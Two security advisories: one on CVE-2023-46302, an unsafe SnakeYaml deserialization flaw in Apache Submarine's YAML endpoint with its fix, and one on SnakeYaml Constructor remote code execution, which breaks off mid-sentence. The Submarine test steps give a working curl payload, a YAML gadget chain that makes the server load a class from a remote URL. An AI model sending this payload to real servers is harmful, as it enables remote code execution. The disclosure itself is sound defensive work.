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CVE-2023-46302: [SUBMARINE-1371] Fix unsafe deserialization via SnakeYaml in YamlEntityProvider

Apache Software Foundation Apache Submarine has a bug when serializing against yaml. The bug is caused by snakeyaml https://nvd.nist.gov/vuln/detail/CVE-2022-1471 .

Apache Submarine uses JAXRS to define REST endpoints. In order to handle YAML requests (using application/yaml content-type), it defines a YamlEntityProvider entity provider that will process all incoming YAML requests. In order to unmarshal the request, the readFrom method is invoked, passing the entityStream containing the user-supplied data in submarine-server/server-core/src/main/java/org/apache/submarine/server/utils/YamlUtils.java.

We have now fixed this issue in the new version by replacing to jackson-dataformat-yaml. This issue affects Apache Submarine: from 0.7.0 before 0.8.0. Users are recommended to upgrade to version 0.8.0, which fixes this issue. If using the version smaller than 0.8.0 and not want to upgrade, you can try cherry-pick PR https://github.com/apache/submarine/pull/1054 and rebuild the submart-server image to fix this.

CVE
#apache#git#java#ssl
  • **Type: ** Bug

  • Status: Resolved

  • **Priority: ** Critical

  • Resolution: Fixed

  • Affects Version/s: None

Use SnakeYaml’s SafeConstructor to replace default Yaml no arguments constructor to void unsafe deserialization.

Link url: https://nvd.nist.gov/vuln/detail/CVE-2022-1471

Test steps:

  1. start a server with python3 -m http.server 8080

  2. start submarine

  3. test submarine with command

    curl --location ‘http://127.0.0.1:32080/api/v1/serve/’ \ –header ‘Content-Type: application/yaml’ \ –data '!!org.apache.submarine.server.api.model.ServeSpec: modelName: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [“http://localhost:8080”]]]]'

  4. we can see python server receive url like this:

    Serving HTTP on :: port 8080 (http://[::]:8080/) … ::ffff:127.0.0.1 - - [05/Mar/2023 16:12:01] “GET / HTTP/1.1” 200 -

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GHSA-mjmj-j48q-9wg2: SnakeYaml Constructor Deserialization Remote Code Execution

### Summary SnakeYaml's `Constructor` class, which inherits from `SafeConstructor`, allows any type be deserialized given the following line: new Yaml(new Constructor(TestDataClass.class)).load(yamlContent); Types do not have to match the types of properties in the target class. A `ConstructorException` is thrown, but only after a malicious payload is deserialized. ### Severity High, lack of type checks during deserialization allows remote code execution. ### Proof of Concept Execute `bash run.sh`. The PoC uses Constructor to deserialize a payload for RCE. RCE is demonstrated by using a payload which performs a http request to http://127.0.0.1:8000. Example output of successful run of proof of concept: ``` $ bash run.sh [+] Downloading snakeyaml if needed [+] Starting mock HTTP server on 127.0.0.1:8000 to demonstrate RCE nc: no process found [+] Compiling and running Proof of Concept, which a payload that sends a HTTP request to mock web server. [+] An exception is expected. Exc...

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